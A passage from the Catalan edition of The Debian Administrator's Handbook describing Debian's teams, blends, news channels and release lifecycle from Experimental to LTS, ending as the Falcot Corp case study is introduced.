Tots aquests mecanismes de contribució són més eficients amb el comportament dels usuaris. Lluny de ser un seguit de persones isolades, els usuaris són una autèntica comunitat on nombrosos intercanvis hi tenen lloc. Volem fer especialment palesa la impressionant activitat a la llista de correu de discusió dels usuaris, <debian-user@lists.debian.org> (Capítol 7, Solucionar problemes i trobar informació rellevanten parla amb més detall).

→ https://lists.debian.org/users.html

No només els usuaris s'ajuden entre si (i també a d'altres) en aspectes tècnics que directament els afecten, sinó que també discuteixen sobre les millors maneres de contribuir al projecte Debian i ajudar a què es mogui endavant — discussions que sovint acaben en suggeriments per a millores.

EINA how-can-i-help (com puc ajudar)

El programa how-can-i-help llista oportunitats de contribuir en paquets Debian que estan instal·lats localment. Després de cada crida a APT (vegeu Capítol 6, Manteniment i actualitzacions: Les eines APT), mostra maneres d'ajudar destacant els errors etiquetats com a «newcomer» (nouvingut en anglès, que són senzills punts d'entrada per a nous contribuïdors) o paquets orfes que necessiten un nou mantenidor. El programa també es pot executar directament.

Atès que Debian no gasta fons en campanyes de promoció, els seus usuaris tenen un paper essencial en la seva difusió, assegurant la fama amb el boca-orella.

Aquest mètode funciona força bé, ja que els fans de Debian es troben per tot arreu de la comunitat del programari lliure: des de festes d'instal·lació (tallers on usuaris amb experiència assisteixen als no iniciats a instal·lar el sistema) organitzats per LUGs o “Linux User Groups” (Grups d'Usuaris de Linux), fins a estands de l'associació en grans convencions tècniques relacionades amb el Linux, etc.

Els voluntaris fan pòsters, fulletons, adhesius i altres materials de promoció del projecte, que són posats a disposició de tothom, i que Debian ofereix lliurement al lloc web i a la wiki:

→ https://www.debian.org/events/material

1.3.3. Equips, «Blends» i subprojectes

Debian s'ha organitzat al voltant del concepte de paquets font, cadascun amb el seu mantenidor o grup de mantenidors. Molts equips de treball han aparegut amb el temps, assegurant l'administració de la infraestructura, la gestió de tasques no específiques a cap paquet en particular (control de qualitat, Normativa Debian, l'instal·lador, etc.), amb els darrers equips creixent a l'entorn de subprojectes i «blends».

1.3.3.1. Subprojectes i «blends» Debian existents

Un Debian personalitzat per a cadascú! Un subprojecte és un grup de voluntaris interessats en adaptar Debian a necessitats específiques. Més enllà de la selecció d'un subgrup de programes destinats a un domini particular (educació, medicina, creació multimèdia, etc. ), els subprojectes també estan implicats en la millora dels paquets existents, l'empaquetament del programari que falta, l'adaptació de l'instal·lador, la creació de documentació específica, i més. Encara que un «blend» (en anglès, barreja) pot no ser exactament el mateix, funciona de manera molt similar i també intenta proporcionar una solució per a grups de persones que tenen la intenció d'utilitzar Debian per a un domini en particular. Es podria dir que «Debian Pure Blends» (o “Barreges pures de Debian”) és el successor dels subprojectes.

→ https://www.debian.org/blends/

VOCABULARI Subprojecte, blends i distribució derivada

El procés de desenvolupament d'una distribució derivada consisteix a començar amb una versió en particular de Debian i fer-hi una sèrie de modificacions. La infraestructura utilitzada per aquest treball és completament externa al projecte Debian. No hi ha necessàriament una normativa per contribuir les millores. Aquesta diferència explica com una distribució derivada pot divergir dels seus orígens, i per què han de tornar a sincronitzar-se regularment amb la seva font per tal de beneficiar-se de les millores realitzades en la font.

D'altra banda, un subprojecte o un «blend» no pot divergir, ja que tot el treball consisteix a millorar directament Debian per tal d'adaptar-lo a un objectiu específic.

La distribució més coneguda derivada de Debian és, sens dubte, Ubuntu, però hi ha moltes. Vegeu Apèndix A, Distribucions derivades per conèixer les particularitats i el posicionament en relació amb Debian.

Aquí hi ha una petita selecció dels actualment publicats «Debian Pure Blends»:

Debian Junior, de Ben Armstrong, oferint un sistema Debian atractiu i fàcil d'utilitzar per a nens;

Debian Edu, de Petter Reinholdtsen, centrada en la creació d'una distribució especialitzada per al món acadèmic i educatiu;

Debian Med, d'Andreas Tille, dedicada al camp mèdic;

Debian Multimedia, que s'ocupa de l'àudio i del treball multimèdia;

Debian GIS, que s'encarrega de les aplicacions i usuaris de Sistemes d'Informació Geogràfica;

Debian Astro, tant per a astrònoms professionals com aficionats;

Debian Science, que treballa per proporcionar a investigadors i científics una millor experiència usant Debian;

Freedombox, feta per a desenvolupar, dissenyar i promoure els servidors personals usant programari lliure per a comunicacions privades i personals;

Debian Games, que proporciona jocs a Debian des d'«arcades» i aventures fins a simulació i estràtègia;

DebiChem, destinat a la Química, proporciona suites i programes químics.

El nombre de projectes probablement continuarà creixent amb el temps i la percepció millorada dels avantatges dels Debian Pure Blends. Completament suportats per la infraestructura de Debian existent, poden, de fet, centrar-se en el treball amb un valor afegit real, sense preocupar-se de romandre sincronitzats amb Debian, ja que es desenvolupen dins del projecte.

1.3.3.2. Grups administratius

La majoria dels equips administratius estan relativament tancats i només es recluta mitjançant cooptació. El millor mitjà per a formar part d'un és ajudar de manera intel·ligent als membres actuals, demostrant que s'han comprès els seus objectius i mètodes de funcionament.

Els ftpmasters estan a càrrec de l'arxiu oficial dels paquets Debian. Mantenen el programa que rep els paquets enviats pels desenvolupadors i els emmagatzema automàticament, després d'algunes comprovacions, al servidor de referència (ftp-master.debian.org).

També han de verificar les llicències de tots els paquets nous, per tal d'assegurar que Debian els pugui distribuir, abans d'incloure'ls en el corpus dels paquets existents. Quan un desenvolupador vol eliminar un paquet, s'adreça a aquest equip a través del sistema de seguiment d'errors i el «pseudopaquet»ftp.debian.org.

VOCABULARI El pseudopaquet, una eina de monitorització

El sistema de seguiment d'errors, inicialment dissenyat per associar informes d'error amb un paquet Debian, ha demostrat ser molt pràctic per gestionar altres assumptes: llistes de problemes a resoldre o tasques a gestionar sense cap enllaç a un paquet Debian en particular. Els «pseudopaquets» permeten, per tant, que certs equips utilitzin el sistema de seguiment d’errors sense associar un paquet real amb el seu equip. Per tant, tothom pot informar de qüestions que cal tractar. Per exemple, el BTS té una entrada ftp.debian.org que s'usa per a informar i fer seguiment de problemes a l'arxiu de paquets oficials o simplement per a demanar l'eliminació d'un paquet. Igualment, el «pseudopaquet» www.debian.org és usat per a errors al lloc web de Debian, i lists.debian.org recull tots els problemes associats a les llistes de correu.

EINA GitLab, amfitrió de repositoris git i molt més

Una instància GitLab, coneguda com a salsa.debian.org, és utilitzat per Debian per allotjar els dipòsits d'empaquetament Git; però aquest programari ofereix molt més que un simple allotjament i els col·laboradors de Debian han estat ràpids per aprofitar les característiques d'integració contínua (executant proves, o fins i tot construint paquets, en cada "push"). Els col·laboradors de Debian també es beneficien d'un flux de treball de contribució més net gràcies al procés de sol·licitud de fusionat ben conegut (similar a les sol·licituds "pull" de GitHub).

GitLab va reemplaçar FusionForge (que estava funcionant en un servei conegut com a alioth.debian.org) per al manteniment col·laboratiu de paquets. Aquest servei l'administren Alexander Wirt, Bastian Blank i Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

L'equip Debian System Administrators (DSA, <debian-admin@lists.debian.org>), com es podria esperar, és responsable de l'administració del sistema dels molts servidors utilitzats pel projecte. Garanteixen un funcionament òptim de tots els serveis bàsics (DNS, Web, correu electrònic, shell, etc.), instal·len programari sol·licitat per desenvolupadors de Debian, i prenen totes les precaucions pel que fa a la seguretat.

→ https://dsa.debian.org

EINA Seguiment de paquets Debian

Aquesta és una de les creacions de Raphaël. La idea bàsica és, per a un paquet donat, centralitzar tota la informació possible en una sola pàgina. Per tant, es pot comprovar ràpidament l'estat d'un programa, identificar les tasques que s'han de completar i oferir l'assistència. Aquesta és la raó per la qual aquesta pàgina recull totes les estadístiques d'errors, versions disponibles en cada distribució, el progrés d'un paquet en la distribució Testing, l'estat de les traduccions de descripcions i plantilles de debconf, la possible disponibilitat d'una nova versió del programa original, avisos d'incompliment respecte de la darrera versió de la normativa de Debian, informació sobre el mantenidor, i qualsevol altra informació que el citat mantenidor vulgui incloure.

→ https://tracker.debian.org/

Un servei de subscripció de correu electrònic completa aquesta interfície web. Envia automàticament la següent informació seleccionada a la llista: errors i discussions relacionades, disponibilitat d'una nova versió als servidors de Debian, noves traduccions disponibles per a verificar, etc.

Els usuaris avançats poden, per tant, seguir de prop tota aquesta informació i fins i tot contribuir al projecte, una vegada que hagin tingut una bona comprensió de com funciona.

Una altra interfície web, coneguda com Resum de paquets d'un desenvolupador de Debian(en anglès, Debian Developer's Packages Overview, DDPO), proporciona a cada desenvolupador una sinopsi dels paquets que té a càrrec.

→ https://qa.debian.org/developer.php

Aquests dos llocs web són eines desenvolupades i gestionades pel grup responsable de garantir la qualitat dins de Debian (conegut com a Debian QA).

Els listmasters administren el servidor de correu electrònic que gestiona les llistes de correu. Creen noves llistes, manegen els rebots (avisos d'error de lliurament), i mantenen filtres de correu brossa (un correu electrònic massiu no sol·licitat).

CULTURA Trànsit en les llistes de correu: algunes xifres

Les llistes de correu són, sens dubte, el millor testimoniatge de l'activitat en un projecte, ja que mantenen el seguiment de tot el que succeeix. Els números (de l'abril del 2021) pel que fa a les nostres llistes de correu parlen per si mateixos: els servidors de Debian tenen unes 325 llistes, sumant més de 295.000 subscripcions individuals. Es lliuren 396.000 correus electrònics cada dia.

Cada servei específic té el seu propi equip d'administració, generalment compost per voluntaris que l'han instal·lat (i també sovint han programat les eines corresponents). Aquest és el cas del sistema del sistema seguiment d'errors (BTS), el seguidor de paquets salsa.debian.org (servidor GitLab, veieu el quadre EINA GitLab, amfitrió de repositoris git i molt més), els serveis disponibles a qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. Equips de desenvolupament, equips transversals

A diferència dels equips administratius, els equips de desenvolupament són bastant oberts, fins i tot als col·laboradors externs. Encara que Debian no té vocació de crear programari, el projecte necessita alguns programes específics per complir els seus objectius. Per descomptat, desenvolupat sota una llicència de programari lliure, aquestes eines fan ús de mètodes provats en altres llocs del món del programari lliure.

Debian ha desenvolupat poc programari propi, però alguns programes han assumit un paper protagonista, i la seva fama s'ha estès més enllà de l'abast del projecte. Bons exemples són dpkg, el programa de gestió de paquets de Debian (és, de fet, una abreviatura de Debian PacKaGe, i generalment es pronuncia en anglès com “dee-package”), i apt, una eina per instal·lar automàticament qualsevol paquet Debian, i les seves dependències, garantint la consistència del sistema després d'una actualització (el seu nom és un acrònim d'Advanced Package Tool). No obstant això, els seus equips són molt més petits, ja que es requereix un alt nivell d'habilitat de programació per obtenir una comprensió global de les operacions d'aquests tipus de programes.

L'equip més important és probablement el del programa d'instal·lació de Debian, debian-installer, que ha realitzat una obra de proporcions transcendentals des de la seva concepció el 2001. Es van necessitar nombrosos col·laboradors, ja que és difícil escriure un sol programa capaç d'instal·lar Debian en una dotzena d'arquitectures diferents. Cada un té el seu propi mecanisme per arrencar i el seu propi carregador d'arrencada. Tot aquest treball està coordinat a la llista de correu <debian-boot@lists.debian.org>, sota la direcció de Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

El (molt petit) equip del programa debian-cd té un objectiu encara més modest. Molts contribuïdors «petits» són responsables de la seva arquitectura, ja que el desenvolupador principal no pot conèixer totes les subtileses, ni la manera exacta d'iniciar l'instal·lador des del CD-ROM.

Molts equips han de col·laborar amb D'altres en l'activitat de l'empaquetament: <debian-qa@lists.debian.org>, per exemple, intenta assegurar la qualitat a tots els nivells del projecte Debian. La llista <debian-policy@lists.debian.org> desenvolupa la Normativa de Debian d'acord amb propostes de tot arreu. Els equips encarregats de cada arquitectura (<debian-architecture@lists.debian.org>) compilen tots els paquets, adaptant-los a la seva arquitectura en particular, si és necessari.

Altres equips gestionen els paquets més importants per tal de garantir el manteniment sense posar una càrrega massa pesada sobre unes úniques espatlles; aquest és el cas de la biblioteca C i <debian-glibc@lists.debian.org>, el compilador de C a la llista <debian-gcc@lists.debian.org>, o Xorg a <debian-x@lists.debian.org> (aquest grup també es coneix com la Força d'Atac X).

1.4. Segueix les notícies de Debian

Com ja s'ha esmentat, el projecte Debian evoluciona d'una manera molt distribuïda i molt orgànica. Com a conseqüència, a vegades pot ser difícil mantenir-se en contacte amb el que ocorre dins del projecte sense estar aclaparat per una interminable allau de notificacions.

Si només voleu les notícies més importants sobre Debian, probablement us haureu de subscriure a la llista <debian-announce@lists.debian.org>. Es tracta d'una llista amb tràfic baix (al voltant d'una dotzena de missatges a l'any), i només dóna els anuncis més importants, com ara la disponibilitat d'un nou llançament estable, l'elecció d'un nou líder del projecte, o la conferència anual de Debian.

→ https://lists.debian.org/debian-announce/

Les notícies més generals (i regulars) sobre Debian s'envien a la llista <debian-news@lists.debian.org>. El trànsit d'aquesta llista també és bastant raonable (normalment al voltant d'un grapat de missatges al mes), i inclou el «Debian Project News», que és una recopilació de diversos petits bocins d'informació sobre el que succeeix al projecte.

→ https://lists.debian.org/debian-news/

COMUNITAT L'equip de publicitat

Els canals oficials de comunicació de Debian són gestionats per voluntaris de l'equip de publicitat de Debian. Són delegats del líder del projecte Debian i moderen notícies i anuncis publicats allà. Molts altres voluntaris contribueixen a l'equip, per exemple, escrivint contingut per a “Debian Project News”, el blog oficial de Debian (bits.debian.org) o el servei de microblogging (micronews.debian.org), que subministra el contingut de microblogging a llocs de xarxes socials.

→ https://wiki.debian.org/Teams/Publicity

Per a més informació sobre l'evolució de Debian i el que està passant en algun moment en diversos equips, també hi ha la llista <debian-devel-announce@lists.debian.org>. Com el seu nom indica, els anuncis que porta seran probablement més interessants per als desenvolupadors, però també permet a les parts interessades vigilar el que succeeix en termes més concrets que quan s'allibera una versió estable. Mentre que <debian-announce@lists.debian.org> dóna notícies sobre els resultats visibles per l'usuari, <debian-devel-announce@lists.debian.org> dóna notícies sobre com es produeixen aquests resultats. Com a nota informativa, “d-d-a” (com de vegades és referida) és l'única llista a la qual s'han de subscriure els desenvolupadors de Debian.

→ https://lists.debian.org/debian-devel-announce/

El blog oficial de Debian(bits.debian.org) també és una bona font d'informació. Transmet la major part de les notícies interessants que es publiquen en les diferents llistes de correu que ja hem cobert i altres notícies importants contribuïdes per membres de la comunitat. Atès que tots els desenvolupadors de Debian poden contribuir en aquestes notícies quan creuen que tenen alguna cosa que cal destacar per fer-ho públic, el blog de Debian dóna una visió valuosa al temps que es manté força centrat en el projecte en el seu conjunt.

També es pot trobar una font més informal d'informació a Planet Debian, que agrega articles publicats pels col·laboradors de Debian en els seus respectius blocs. Encara que el contingut no tracta exclusivament del desenvolupament de Debian, proporcionen una visió del que està passant a la comunitat i del que fan els seus membres.

→ https://planet.debian.org/

El projecte també està ben representat en les xarxes socials. Debian només té presència oficial a Identi.ca (plataforma de microblogs, impulsada per pump.io), però hi ha alguns comptes que retransmeten el canal RSS des de micronews.debian.org i molts col·laboradors de Debian que publiquen en comptes no oficials.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. El rol de les distribucions

Una distribució GNU/Linux té dos objectius principals: instal·lar un sistema operatiu lliure en un ordinador (ja sigui amb o sense un sistema o sistemes existents), i proporcionar una gamma de programari que cobreixi totes les necessitats dels usuaris.

1.5.1. L'instal·lador: debian-installer

El debian-installer, dissenyat per ser extremadament modular per tal de ser el més genèric possible, apunta al primer objectiu. Cobreix una àmplia gamma de situacions d'instal·lació i, en general, facilita en gran manera la creació d'un instal·lador derivat que s'ajusti a un cas particular.

Aquesta modularitat, que també el fa molt complex, pot ser descoratjadora per als desenvolupadors que descobreixen aquesta eina; però si s'utilitza en mode gràfic o de text, l'experiència de l'usuari és similar. S'han fet grans esforços per reduir el nombre de preguntes formulades en el moment de la instal·lació, en particular gràcies a la inclusió del programari automàtic de detecció de maquinari.

És interessant observar que les distribucions derivades de Debian difereixen molt en aquest aspecte, i proporcionen un instal·lador més limitat (sovint limitat a les arquitectures i386 o amd64), però més fàcil d'utilitzar per als no iniciats. D'altra banda, normalment s'abstenen de desviar-se massa del contingut dels paquets per a beneficiar-se en la mesura que sigui possible de l'àmplia gamma de programes oferts sense causar problemes de compatibilitat.

1.5.2. La biblioteca de programari

Quantitativament, Debian és innegablement el líder en aquest sentit, amb més de 31.000 paquets font. Qualitativament, la política de Debian i el llarg període de proves abans de llançar una nova versió estable justifiquen la seva reputació d'estabilitat i consistència. Pel que fa a la disponibilitat, tot està disponible en línia a través de molts miralls a tot el món, amb actualitzacions que s'envien cada sis hores.

La majoria del nou programari lliure ràpidament es pot trobar a la versió en desenvolupament que fa que puguin ser instal·lats. Si això requereix massa actualitzacions a causa de les seves dependències, el programa també es pot tornar a compilar per a la versió estable de Debian. (veieu Capítol 15, Creació d'un paquet Debian per més informació sobre aquest tema).

1.6. Cicle de vida d'una versió

El projecte tindrà simultàniament entre tres o sis versions diferents de cada programa, que són: Experimental, Unstable, Testing, Stable, Oldstable, i fins i tot Oldoldstable. Cada una correspon a una fase diferent de desenvolupament. Per a una bona comprensió, veiem el camí d'un programa, des del seu empaquetat inicial fins a la inclusió en una versió estable de Debian.

VOCABULARI Versió («release»)

El terme «release», en el projecte Debian, indica una versió particular d'una distribució (per exemple, «unstable release» significa «la versió inestable». També fa referència a l'anunci públic del llançament de qualsevol versió nova (estable).

1.6.1. L'estat Experimental

En primer lloc, examinem el cas concret de la distribució Experimental: aquest és un grup de paquets de Debian corresponents al programari actualment en desenvolupament, i no necessàriament enllestit, com indica el seu nom. No tot passa a través d'aquest pas; alguns desenvolupadors afegeixen paquets aquí per tal d'obtenir comentaris dels usuaris més experimentats (o més valents).

En cas contrari, aquesta distribució sovint conté modificacions importants als paquets base, la integració dels quals a la distribució Unstable amb errors seriosos tindria repercussions crítiques. És, per tant, una distribució completament aïllada, els seus paquets mai migren a una altra versió (excepte per intervenció directa i expressa del mantenidor o dels ftpmasters). Tampoc és autocontinguda: només un subconjunt dels paquets existents es troben a Experimental, i generalment no inclou el sistema base. Aquesta distribució és, per tant, molt útil en combinació amb una altra distribució autònoma, com ara Unstable.

1.6.2. L'estat Unstable

Tornem al cas d'un paquet típic. El mantenidor crea un paquet inicial, que compilarà per a la versió Unstable i el deixarà al servidor ftp-master.debian.org. Aquest primer esdeveniment implica la inspecció i validació dels ftpmasters. El programari estarà llavors disponible a la distribució Unstable, que és la distribució «a la cresta de l'onada» triada pels usuaris que estan més preocupats per tenir paquets a la darrera versió que per problemes greus. Descobreixen el programa i després el proven.

Si troben errors, els informen al mantenidor del paquet. El mantenidor llavors prepara regularment versions corregides, que tornarà a enviar al servidor.

Cada paquet actualitzat s'actualitza en tots els miralls de Debian del món en sis hores. Els usuaris després proven les correccions i cerquen altres problemes resultants de les modificacions. Es poden produir diverses actualitzacions ràpidament. Durant aquests temps, els robots de compilació automàtica («autobuilders») entren en acció. El mantenidor envia les fonts del paquet (sense cap paquet precompilat). Els «autobuilders» se'n fan càrrec i compilen versions automàticament per a totes les arquitectures suportades. Algunes compilacions poden fallar: el mantenidor rebrà un informe d'error indicant el problema, que després es corregirà en versions posteriors. Quan l'error és descobert per un especialista de l'arquitectura en qüestió, l'informe d'error pot venir amb un pedaç preparat per utilitzar-lo.

Figura 1.2. Compilació d'un paquet pels «autobuilders»

VISTA RÀPIDA buildd: el recompilador de paquets Debian

buildd és l'abreviatura de “build daemon”. Aquest programa recompila automàticament les noves versions dels paquets Debian en les arquitectures on es troba (s'evita la compilació creuada tant com és possible).

Per tant, per a produir binaris per a l'arquitectura arm64, el projecte té disponibles màquines arm64. El programa buildd hi funciona contínuament i crea paquets binaris per arm64 a partir de paquets font enviats pels desenvolupadors de Debian.

Aquest programari s'utilitza en tots els ordinadors que funcionen com a «autobuilders» per a Debian. Per extensió, el terme buildd sovint s'utilitza per referir-se a aquestes màquines, que generalment es reserven exclusivament per a aquest propòsit.

1.6.3. Migració a Testing

Una mica més tard, el paquet haurà madurat: compilat sobre totes les arquitectures, i no haurà sofert modificacions recents. És llavors un candidat per a la seva inclusió a la distribució Testing — un grup de paquets de Unstable triats segons uns criteris quantificables. Cada dia un programa automàticament selecciona els paquets per ser inclosos a Testing, d'acord amb uns elements que garanteixin un cert nivell de qualitat:

compilació amb èxit en totes les arquitectures amb suport oficial;

absència d'errors crítics o, com a mínim, menys que a la versió que s'inclou actualment a Testing;

haver estat com a mínim cinc dies a Unstable, que sol ser temps suficient per trobar i informar de qualsevol problema seriós (el passar amb èxit el conjunt de proves del propi paquet , si n'hi ha, redueix aquest temps);

dependències que poden ser satisfetes a Testing, o que com a mínim puguin migrar-se al mateix temps que el paquet en qüestió;

els controls de qualitat automàtics del propi paquet (autopkgtest) — si n'hi ha — no mostren cap regressió.

Aquest sistema clarament no és infal·lible; els errors crítics es troben regularment en els paquets inclosos a Testing. Tot i així, és generalment efectiu i Testing té molts menys problemes que Unstable, essent per a molts un bon compromís entre estabilitat i novetat.

NOTA Limitacions de Testing

Encara que molt interessant en principi, Testing té alguns problemes pràctics: l'embolic de dependències creuades entre paquets és tal que un paquet rarament pot moure's completament per si sol. Amb tots els paquets depenent els uns dels altres, de vegades és necessari migrar un gran nombre de paquets simultàniament, cosa que és impossible quan alguns estan pujant actualitzacions regularment. D'altra banda, el programa que identifica les famílies dels paquets relacionats treballa dur per crear-los (això seria un problema NP-complet, per al qual, afortunadament, coneixem algunes heurístiques bones). Per això podem interaccionar manualment i guiar aquest script suggerint grups de paquets, o imposant la inclusió de certs paquets en un grup, fins i tot si això trenca temporalment algunes dependències. Aquesta funcionalitat és accessible als gestors de versions («Release Managers») i als seus assistents.

Recordeu que un problema NP-complet és d'una complexitat algorítmica exponencial segons la mida de les dades, que aquí són la longitud del codi (la quantitat de línies) i els elements implicats. L'única manera de resoldre-ho és sovint examinar totes les configuracions possibles, que podrien requerir enormes mitjans. Una heurística és una solució aproximada però satisfactòria.

COMUNITAT El gestor de versions («Release Manager»)

El gestor de versions («Release Manager») és un títol important, associat amb responsabilitats pesades. El portador d'aquest títol ha de, en efecte, gestionar el llançament d'una nova versió estable de Debian, i definir el procés de desenvolupament de Testing fins que assoleixi els criteris de qualitat per a esdevenir Stable. També defineix un calendari provisional (que no sempre és seguit).

També tenim els gestors de versions de «Stable», sovint abreujat SRM («Stable Release Managers»), que gestionen i seleccionen actualitzacions per a la versió estable actual de Debian. Inclouen sistemàticament pedaços de seguretat i examinen totes les altres propostes d'inclusió, cas per cas, enviades per desenvolupadors de Debian desitjosos d'actualitzar el seu paquet a la versió estable.

1.6.4. La promoció des de Testing a Stable

Suposem ara que el nostre paquet està inclòs a Testing. Mentre hi hagi espai per a la millora, el seu mantenidor ha de continuar millorant-lo i reiniciar el procés des de Unstable (però la seva posterior inclusió a Testing és generalment més ràpida: llevat que canviï significativament, totes les seves dependències ja estan disponibles). Quan arriba a la perfecció, el mantenidor ha completat el seu treball. El següent pas és la inclusió a la distribució Stable, és, en realitat, una simple còpia de Testing en un moment triat pel gestor de versions. Idealment, aquesta decisió es pren quan l'instal·lador està llest, i quan cap programa de Testing té errors crítics coneguts.

Atès que aquest moment mai arriba realment, a la pràctica, Debian ha de prendre un compromís: eliminar paquets el mantenidor dels quals no ha pogut corregir errors a temps, o acceptar alliberar una distribució amb alguns errors en els milers de programes. El gestor de versions haurà anunciat prèviament un període de congelació, durant el qual cada actualització a Testing ha de ser aprovada. L'objectiu aquí és evitar qualsevol nova versió (i els seus nous errors) i només aprovar actualitzacions que solucionin errors.

Figura 1.3. El camí d'un paquet a través de les diverses versions de Debian

VOCABULARIO Congelació: la recta final

Durant el període de congelació, el desenvolupament de la distribució Testing queda bloquejat: ja no es permeten les actualitzacions automàtiques. Només els gestors de versions estan autoritzats a canviar els paquets, segons els seus propis criteris. El propòsit és evitar l'aparició de nous errors introduint noves versions; només s'autoritzen actualitzacions examinades a fons quan corregeixen errors significatius.

Després del llançament d'una nova versió estable, els gestors de versions de «Stable» gestionen tot el desenvolupament posterior (s'anomenen "revisions", ex: 10.1, 10.2, 10.3 per a la versió 10). Aquestes actualitzacions inclouen sistemàticament tots els pedaços de seguretat. També inclouran les correccions més importants (el mantenidor d'un paquet ha de demostrar la gravetat del problema que desitja corregir per tal d'incloure les seves actualitzacions).

Al final del viatge, el nostre hipotètic paquet està ara inclòs a la distribució estable. Aquest viatge, no sense dificultats, explica els retards significatius que separen les versions de Debian Stable. Això contribueix, sobretot, a la seva reputació de qualitat. A més, la majoria dels usuaris estan satisfets utilitzant una de les tres distribucions disponibles simultàniament. Els administradors del sistema, preocupats sobretot per l'estabilitat dels seus servidors, no necessiten l'última i més gran versió de GNOME: poden triar Debian Stable, i es veuran satisfets. Els usuaris finals, més interessats en les últimes versions del GNOME o del Plasma del KDE que en una estabilitat sòlida, trobaran en Debian Testing un bon compromís entre la falta de problemes greus i un programari relativament actualitzat. Finalment, els desenvolupadors i usuaris més experimentats poden obrir camí, provant totes les últimes versions a Debian Unstable acabades de sortir del forn, amb el risc de patir els mals de cap i els errors inherents a qualsevol nova versió d'un programa. Una versió de Debian per a cadascú!

CULTURA GNOME i KDE Plasma, els entorns gràfics d'escriptori

GNOME (originalment un acrònim de «GNU Network Object Model Environment») i Plasma, de KDE (anteriorment conegut com a «K Desktop Environment»), són els dos entorns d'escriptori gràfics més populars/establerts en el món del programari lliure, i es presentaran amb més detall a Secció 13.3, «Escriptoris gràfics».

Un entorn d'escriptori és un conjunt de programes agrupats per permetre una gestió fàcil de les operacions més comunes a través d'una interfície gràfica. Generalment inclouen un gestor d'arxius, suite d'oficina, navegador web, programa de correu electrònic, accessoris multimèdia, etc. La diferència més visible resideix en l'elecció de la biblioteca gràfica utilitzada: GNOME ha triat GTK+ (programari lliure amb llicència LGPL), i la comunitat KDE ha seleccionat Qt (un projecte amb suport d'empresa, actualment disponible tant sota la GPL com també amb una llicència comercial).

→ https://www.gnome.org/

→ https://kde.org/

Figura 1.4. Camí cronològic d'un programa empaquetat per Debian

1.6.5. L'estat de Oldstable i Oldoldstable

Cada versió estable (Stable) té una esperança de vida d'uns 5 anys i atès que les versions tendeixen a passar cada 2 anys, pot haver-hi fins a 3 llançaments compatibles en un moment donat. Quan es produeix una nova versió estable, l'alliberament anterior esdevé Oldstable (antic estable) i l'anterior a aquest esdevé Oldoldstable (antic antic estable).

Aquest suport a llarg termini (LTS) dels llançaments de Debian és una iniciativa recent: col·laboradors individuals i empreses es van unir per crear l'equip Debian LTS. Les versions antigues que ja no estan suportades per l'equip de seguretat de Debian són responsabilitat d'aquest nou equip.

L'equip de seguretat de Debian gestiona el suport de seguretat per a la distribució vigent Stable i també per a l'anterior Oldstable (però només durant el temps necessari per assegurar un any de solapament amb l'actual versió estable). Això equival aproximadament a tres anys de suport per a cada versió. L'equip de Debian LTS s'encarrega dels últims (dos) anys de suport de seguretat de manera que cada llançament es beneficiï d'un mínim de cinc anys de suport de manera que els usuaris puguin actualitzar de la versió N a la N+2, per exemple, de Debian 9 Strectch a Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

COMUNITAT Companyies patrocinant l'esforç LTS (suport a llarg termini)

El suport a llarg termini és un compromís difícil de fer a Debian perquè els voluntaris tendeixen a evitar el treball que no és gaire divertit. I proporcionar suport de seguretat per a un programari de 5 anys d'antiguitat és — per a molts col·laboradors — molt menys divertit que empaquetar noves versions o desenvolupar noves característiques.

Per a donar vida a aquest projecte, el projecte comptava amb el fet que el suport a llarg termini era especialment rellevant per a les empreses i que estarien disposades a repartir el cost d'aquest suport de seguretat.

El projecte va començar el juny del 2014: algunes organitzacions van permetre als seus empleats contribuir a temps parcial a Debian LTS, mentre que altres van preferir patrocinar el projecte amb diners perquè els contribuïdors de Debian rebessin per fer un treball que de franc no farien. La majoria dels col·laboradors de Debian disposats a ser pagats per treballar en LTS es van reunir per crear una oferta de patrocini clara gestionada per Freexian (empresa de Raphaël Hertzog):

→ https://www.freexian.com/services/debian-lts.html

A l'equip Debian LTS, els voluntaris treballen en paquets que els preocupen mentre que els contribuïdors pagats prioritzen els paquets utilitzats pels seus patrocinadors.

El projecte sempre està buscant nous patrocinadors: I la teva empresa? Pots deixar que un empleat treballi a temps parcial en el suport a llarg termini? Pots assignar un petit pressupost per al suport de seguretat?

→ https://wiki.debian.org/LTS/Funding

Capítol 2. Presentant el cas d'estudi

En el context d'aquest llibre, ets l'administrador de sistemes d'un petit negoci creixent. Ha arribat el moment de redefinir el pla mestre dels sistemes d'informació per l'any vinent en col·laboració amb els teus directors. Decideixes migrar progressivament a Debian, tant per raons pràctiques com econòmiques. Vegem amb més detall què t'espera…

Hem previst que aquest cas d'estudi s'aproximi a tots els serveis del sistema d'informació modern que s'utilitzen actualment en una empresa de grandària mitjana. Després de llegir aquest llibre, tindràs tots els elements necessaris per instal·lar Debian als servidors i poder volar tot sol. També aprendràs a trobar informació de manera eficient en cas de dificultats.

2.1. Necessitats de TI pel creixement ràpid

Falcot Corp és un fabricant d'equips d'àudio d'alta qualitat. La companyia està creixent fortament, i té dues instal·lacions, una a Saint-Étienne, i una altra a Montpeller. La primera té al voltant de 150 empleats; allotja una fàbrica per a la fabricació de d'altaveus, un laboratori de disseny i tota l'oficina administrativa. La seu de Montpeller és més petita, amb només uns 50 treballadors, i produeix amplificadors.

NOTA Empresa fictícia creada per al cas d'estudi

La companyia Falcot Corp utilitzada com a exemple aquí és completament fictícia. Qualsevol semblança amb una empresa existent és pura coincidència. De la mateixa manera, algunes dades d'exemple en tot aquest llibre poden ser ficticis.

El sistema d'informació ha tingut dificultats per a mantenir-se al dia amb el creixement de l'empresa, de manera que ara estan decidits a redefinir-lo completament per complir els diversos objectius establerts per la gerència:

infraestructura moderna i fàcilment escalable;

reducció del cost de les llicències de programari gràcies a l'ús del programari de codi obert;

instal·lació d'un lloc web de comerç electrònic, possiblement «B2B» (negoci a negoci, és a dir, la vinculació dels sistemes d'informació entre diferents empreses, com un proveïdor i els seus clients);

millora significativa de la seguretat per protegir millor els secrets comercials relacionats amb els nous productes.

Tot el sistema d'informació serà revisat tenint en compte aquests objectius.

2.2. Pla mestre

